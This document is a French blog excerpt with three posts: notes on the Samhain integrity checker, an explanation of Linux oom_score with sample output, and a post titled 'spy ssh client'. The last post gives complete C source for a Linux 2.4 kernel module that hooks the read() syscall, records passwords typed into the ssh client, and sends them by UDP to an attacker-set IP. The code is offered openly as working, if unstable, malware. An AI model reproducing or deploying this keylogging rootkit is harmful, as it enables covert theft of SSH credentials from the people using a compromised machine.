    Au début vous passerez beaucoup de temps à analyser vos logs car cela vous permettra de peaufiner votre samhainrc pour définir ce qui est une activité normale et ce qu'il faut surveiller.

    Le format des alertes présentes dans le fichier de log est relativement simple à comprendre. Voici à titre d'exemple une alerte que j'ai relevé dans mon log (coupée pour plus de lisibilité) :
    CRIT   :  [2011-04-29T18:41:19+0200] msg=<POLICY [ReadOnly] ---I-M--T->,
    path=</etc/init.d/postfix>,
    mode_old=<-rw-r--r-->, mode_new=<-rwxr-xr-x>,
    attr_old=<------------>, attr_new=<------------>,
    inode_old=<1290353>, inode_new=<1291538>,
    ctime_old=<[2011-03-18T18:20:09]>, ctime_new=<[2011-04-21T14:28:53]>,
    mtime_old=<[2011-02-23T01:13:10]>, mtime_new=<[2011-03-30T22:52:47]>,
    Ici nous avons une alerte de niveau critique (CRIT) qui a été remontée le 24 avril 2011 à 18h41.
    Le fichier /etc/init.d/postfix qui était marqué ReadOnly a été modifié.

    L'inode a été changé ainsi que les dates et les permissions.
    Derrière la section à laquelle se reporte l'alerte se trouve une suite de caractère avec des tirets.

    Ces caractères indiquent rapidement les points qui font l'objet d'une modification.
    Les caractères sont 'C' pour 'checksum', 'L' pour (soft) 'link', 'D' pour 'device number', 'I' pour 'inode', 'H' pour (le nombre de) 'hardlinks', 'M' pour 'mode', 'U' pour 'user' (propriétaire), 'G' pour 'group', 'T' pour 'time' (tous confondus) et 'S' pour 'size'.

    Voici un récapitulatif sous forme de tableau que j'ai récupéré sur le forum de Samhain :
    |==================================
    |Pos|Ltr| Meaning
    | 0 | C | checksum
    | 1 | L | link (soft)
    | 2 | D | rdev (device number)
    | 3 | I | inode
    | 4 | H | hardlinks (number of)
    | 5 | M | mode
    | 6 | U | user (owner)
    | 7 | G | group (owner)
    | 8 | T | atime, ctime, mtime (any)
    | 9 | S | size
    |==================================
    Dans l'alerte, Samhain nous indique aussi les anciennes valeurs qu'il avait en mémoire pour chaque nouvelle valeur.
    Dans mon cas, cette modification fait suite à une mise à jour de Postfix.
    En dehors du changement évident des dates et de l'inode (le fichier a été écrasé), je l'avais désactivé avant la mise à jour avec chmod -x /etc/init.d/postfix, ce qui n'est pas très propre (j'aurais du utiliser chkconfig à la place).
    La mise à jour a donc remis le flag d'exécution sur le fichier.

    Recharger la configuration

    Si vous avez modifié votre fichier samhainrc, il faut dire au programme qu'il doit recharger le fichier de configuration. Vous pouvez bien sûr le stopper et le relancer mais ce n'est pas très propre (voir plus loin).

    Il est possible de recharger la configuration alors que Samhain est en train de tourner (en démon par exemple). Pour cela il faut lui envoyer le signal SIGHUP.
    Récupérer le PID du programme et lancez la commande kill -s SIGHUP <pid de samhain>.
    En ce qui me concerne cette commande ne fonctionne pas correctement puisque le processus arrête de loguer... mais il semble qu'il s'agisse d'un bogue qui a été depuis corrigé.

    Mettre à jour la base de données (baseline database)

    Lorsque Samhain se lance, il charge le fichier de configuration en mémoire ainsi que le base de référence (/var/lib/samhain/samhain_file).
    Quand ensuite il rencontre une modification, il la reporte dans les logs... mais la base n'est pas mise à jour. C'est à l'administrateur d'effectuer cette mise à jour.

    Cette opération de mise à jour fonctionne de manière très basique : il ne s'agit pas d'un "dump" des modifications reportées par Samhain vers la base mais d'un nouveau scan complet du système pour la mettre à jour.

    Du coup, si vous stoppez puis relancez Samhain sans avoir mis la base à jour, vous aurez une incidence au niveau des logs puisque Samhain va reprendre la base de référence non mise à jour et reporter dans les logs les modifications qu'il avait déjà reporté par le passé. Pour peu que Samhain ait fonctionné longtemps, cela va vous générer des logs considérables.
    Il est donc important d'effectuer une mise à jour de la base avant de relancer le démon ou d'éteindre votre machine ou encore de temps en temps en cas de plantage du système.

    L'opération de mise à jour de la base s'effectue en théorie par la commande samhain -t update.
    Seulement il y a des éléments à prendre en considération :
    • Samhain est très protecteur avec son fichier de log. La commande d'update n'aboutira pas car le démon Samhain a posé un verrou dessus. On peut stopper Samhain, mettre à jour la base puis relancer Samhain mais ce n'est pas la bonne méthode. Il est préférable d'effectuer l'update avec les options -l none -p warn. Ainsi l'update n'écrira pas sur le fichier de log (-l none) mais à la place affichera les messages dans la console (-p warn).
    • en l'absence d'options passées en ligne de commande, Samhain prend pour références les options du fichier de configuration. Si vous lancez l'update et que samhainrc indique qu'il doit se lancer en démon, l'update se lancera aussi en démon. On utilisera alors l'option --foreground pour éviter cela.
    Au final, on peut lancer une mise à jour de la base malgré que Samhain soit en train de tourner en démon avec cette commande :
    samhain -t update -l none -p warn --foreground

    Faire la rotation des logs (logrotate)

    Comme Samhain verrouille le fichier de log, l'opération de rotation ne se fera pas simplement.
    Il faut signaler à Samhain de retirer temporairement son verrou en lui envoyant un signal SIGTTIN.
    Il rend alors l'accès au fichier journal possible pendant un laps de temps de 3 secondes.
    Un script pour réaliser cette opération est fourni dans la documentation.

    La sécurité de Samhain

    L'ensemble du chapitre 11 de la documentation couvre la sécurité de Samhain lui-même, c'est à dire les difficultés qu'aurait un pirate à passer inaperçu et effacer ses traces sur un système sur lequel Samhain est installé.
    Cette sécurité semble vraiment excellente. La seule vrai possibilité pour un pirate serait à mon avis d'exploiter une configuration laxiste de Samhain (par exemple une arborescence de fichier non surveillée dans laquelle le pirate pourrait placer ses binaires).
    Le chapitre 11 donne aussi quelques astuces pour renforcer la sécurité de base.

    Trouver de l'aide

    La documentation officielle, les pages de manuel, les exemples dans le fichier samhainrc sont autant de secours pour votre utilisation de Samhain.
    Si malgré ça vous ne trouvez pas de réponses à vos questions, vous pouvez être aidé sur le forum officiel.

    Mon fichier samhainrc pour openSUSE

    A titre d'annexe vous trouverez mon fichier samhainrc que j'utilise sur ma distribution GNU/Linux openSUSE.

    Sur ce, bonne sécurisation à tous !

    Site officiel du projet Samhain

    Classé dans : Non classé - Mots clés : outils, linux

    oom_score : Afficher la "kill" liste de votre système Linux

    Rédigé par devloop - -

    Bien que les plantages soient peu fréquents sous Linux, ils existent comme sur tout autre système d'exploitation.

    Toutefois on a plus souvent affaire à une montée en charge du système qu'à un Kernel Panic (l'équivalent des BSOD Windows).
    Au moment où le problème survient, il est souvent trop tard pour pouvoir agir sur le système : un processus "fou" a engloutit toute la RAM et seul le bruit du disque dur nous indique qu'il s'attaque à la swap.

    Pour prévenir ce genre de problème, il existe des "soupapes de sécurité" dont le rôle et de terminer les processus à l'origine de ces problèmes.
    L'environement graphique KDE inclut un outil baptisé kwin_killer_helper pour cette tache. Malheureusement il s'avère très peu efficace et d'aucune façon configurable.

    Au niveau du kernel Linux lui-même on trouve un code baptisé oom_kill (oom = Out of memory) qui se charge effectivement de terminer un ou des processus... à condition d'attendre suffisemment longtemps.
    En effet, le code de oom_kill se montre peu efficace pour déterminer quel est le coupable et va souvent tuer le processus voisin qui n'avait rien demandé.
    A titre d'exemple il va finir par fermer KDE (et donc la totalité des applications graphiques) alors qu'il aurait pu suffir de terminer le processus qui gère le plugin Flash dans le navigateur.
    L'agorithme utilisé pour la détection de mauvais processus a toutefois était corrigé avec le noyau 2.3.36.

    Quand un système plante à répétition et que oom_kill fait des aparitions fréquentes dans les logs, la seul vrai solution consiste à rajouter de la RAM sur le PC.

    L'avantage de oom_kill (en dehors du fait qu'il agit au niveau du kernel) est qu'il est configurable : chaque processus dans /proc/[pid] a des fichiers oom_adj et oom_score qui permettent de savoir si un processus est dans le colimateur du kernel ou de l'y placer volontairement.

    La page de manuel de proc(5) nous informe de différents points intéressants :
    • oom_adj contient une valeur numérique située entre -17 et 15. Plus la valeur est grande (et positive) plus le processus a des chances d'être candidat à un "suicide" décidé par le kernel.
    • On peut jouer sur cette valeur, par exemple en faisant un echo -5 > /proc/[pid]/oom_adj
    • oom_score contient une valeur numérique bien plus grande qui est calculée à partir de différents éléments comme l'utilisation CPU du processus, sa priorité, s'il tourne avec des privilèges etc. Le résultat est ensuite décalée à l'aide de la valeur oom_adj (bit shift). Cette opération est définie par la fonction badness
    • la valeur -17 dans oom_adj est particulière et permet de marquer le processus comme indestructible
    • Tout ce mécanisme peut être activé ou désactivé par /proc/sys/vm/panic_on_oom. Si ce fichier contient "1" alors le système fait un kernel panic en cas de débordement de mémoire. S'il est à 0, oom-killer est appelé à la rescousse.
    Pour afficher la liste des processus par ordre croissant de risque de se faire tuer, j'ai créé un script python : oom_score.py

    Il donne un résultat de ce style :
    oom_score pid   process name                   oom_adj                              
            0  3593 /sbin/auditd -s disable            -17                              
            0   665 /sbin/udevd --daemon               -17                              
           13  2610 /sbin/acpid                          0                              
           15  3622 /usr/sbin/avahi-dnsconfd -D          0
    ...
        34560  5187 /usr/bin/krunner                     0
        83495  5108 kdeinit4: kdeinit4 Running...        0
        90882     1 init [5]                             0
       103294  5614 /bin/sh /usr/bin/firefox             0
    Dans cet exemple on peut voir que le navigateur Firefox sera le premier à éjecter en cas de manque de mémoire sur le système.

    Classé dans : Non classé - Mots clés : linux

    Linux kernel 2.4 module : spy ssh client

    Rédigé par devloop - -

    Toujours dans la catégorie "oldies" comme le code précédent, l'exemple suivant permet de récupérer un mot de passe saisi depuis le client ssh et de le transmettre par UDP vers une machine distante.
    L'idée m'était venue en lançant un strace sur ssh et en remarquant que la lecture du pass se faisant caractère par caractère à l'aide de read() sur un périphérique tty.

    Solution : hooker l'appel système read() et si le processus en cours s'appelle "ssh" mettre en application tout ça :
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/sched.h>
    #include <linux/unistd.h> /* __NR_close */
    #include <linux/smp_lock.h> /* unlock_kernel */
    #include <linux/syscalls.h> /* sys_close */
    #include <linux/types.h> /* ssize_t... */
    
    /* j'ai pas fait le tri */
    #include <linux/file.h>
    #include <linux/fs.h>
    #include <linux/dcache.h>
    
    #include <linux/net.h>
    #include <linux/in.h>
    #include <linux/socket.h>
    #include <asm/uaccess.h>
    #include <linux/fs.h>
    
    #define HACKER_IP 0xc0a80103 /* put your ip address in hexa. ex: 192.168.1.3 => 0xc0a80103 */
    #define SOURCE_PORT 1337
    #define DEST_PORT 53
    
    void **sys_call_table;
    static int i=0;
    char passwd[41];
    
    asmlinkage ssize_t (*orig_read)(unsigned int fd, char *buf, size_t count);
    
    int sendUDP(char *msg)
    {
      struct msghdr udpmsg;
      mm_segment_t oldfs;
      struct iovec iov;
      struct sockaddr_in sin;
      struct sockaddr_in sout;
      struct socket *udpsock;
      int err;
    
      if(sock_create(PF_INET, SOCK_DGRAM, 0,&udpsock)<0)return -1;
      printk(KERN_INFO "sock created\n");
    
      memset(&sin,0,sizeof(sin));
      sin.sin_port=htons(SOURCE_PORT);
      sin.sin_family=AF_INET;
      sin.sin_addr.s_addr=htonl(INADDR_ANY);
    
      if(udpsock->ops->bind(udpsock,(struct sockaddr*)&sin,sizeof(struct sockaddr))<0)
      {
        sock_release(udpsock);
        printk(KERN_INFO "bind error\n");
        return -1;
      }
      printk(KERN_INFO "bind ok\n");
    
      iov.iov_base=(void*)msg;
      iov.iov_len=strlen(msg);
    
      memset(&sout,0,sizeof(sout));
      sout.sin_port=htons(DEST_PORT);
      sout.sin_family=AF_INET;
      sout.sin_addr.s_addr=htonl(HACKER_IP);
    
      memset(&udpmsg, 0, sizeof(struct msghdr));
      udpmsg.msg_name=&sout;
      udpmsg.msg_namelen=sizeof(sout);
      udpmsg.msg_iovlen=strlen(msg);
      udpmsg.msg_iov=&iov;
      udpmsg.msg_control=NULL;
      udpmsg.msg_controllen=0;
      udpmsg.msg_flags=MSG_DONTWAIT|MSG_NOSIGNAL;
    
      oldfs=get_fs();
      set_fs(KERNEL_DS);
      err=sock_sendmsg(udpsock,&udpmsg,strlen(msg));
      printk("err=%d\n",err);
      set_fs(oldfs);
      sock_release(udpsock);
    
      return 0;
    }
    
    asmlinkage ssize_t my_read(unsigned int fd, char *buf, size_t count)
    {
      ssize_t ret;
      struct file *f;
    
      ret=orig_read(fd,buf,count);
      if(strlen(current->comm)==3)
      {
        if(strncmp(current->comm,"ssh",3)==0)
        {
          if(fd>2 && count==1)
          {
            f=fget(fd);
            if(f)
            {
              if(f->f_dentry)
              {
                if(strncmp(f->f_dentry->d_name.name,"tty",3)==0)
                {
                  printk("%c",buf[0]);
                  passwd[i]=buf[0];
                  if(i>=40)
                  {
                    passwd[40]='\0';
                    sendUDP(passwd);
                    i=0;
                  }
                  else if(buf[0]=='\n')
                  {
                    passwd[i]='\0';
                    sendUDP(passwd);
                    i=0;
                  }
                  else i++;
                }
              }
            }
          }
        }
      }
      return ret;
    }
    
    unsigned long **find_sys_call_table(void)
    {
       unsigned long **sctable;
       unsigned long ptr;
       extern int loops_per_jiffy;
    
       sctable = NULL;
       for (ptr = (unsigned long)&unlock_kernel;
            ptr < (unsigned long)&loops_per_jiffy;
            ptr += sizeof(void *))
       {
          unsigned long *p;
          p = (unsigned long *)ptr;
          if (p[__NR_close] == (unsigned long) sys_close)
          {
             sctable = (unsigned long **)p;
             return &sctable[0];
          }
       }
       return NULL;
    }
    
    int init_module(void)
    {
      printk(KERN_INFO "hook loaded\n");
      sys_call_table=(void**)find_sys_call_table();
      if(sys_call_table!=NULL)
      {
        printk(KERN_INFO "sys_call_table=%p\n",sys_call_table);
        printk(KERN_INFO "__NR_read=%d\n",__NR_read);
        printk(KERN_INFO "sys_call_table[__NR_read]=%p\n",sys_call_table[__NR_read]);
        orig_read=(asmlinkage ssize_t(*)(unsigned int,char *,size_t))(sys_call_table[__NR_read]);
        sys_call_table[__NR_read]=my_read;
      }
    
      return 0;
    }
    
    void cleanup_module(void)
    {
      if(sys_call_table!=NULL)
      {
        sys_call_table[__NR_read]=orig_read;
      }
      printk(KERN_INFO "hook unloaded\n");
    }


    De mémoire c'était loin d'être stable (le système finissait par planter) donc à utiliser à vos risques et périls.
    Pour les yeux uniquement comme disent certains.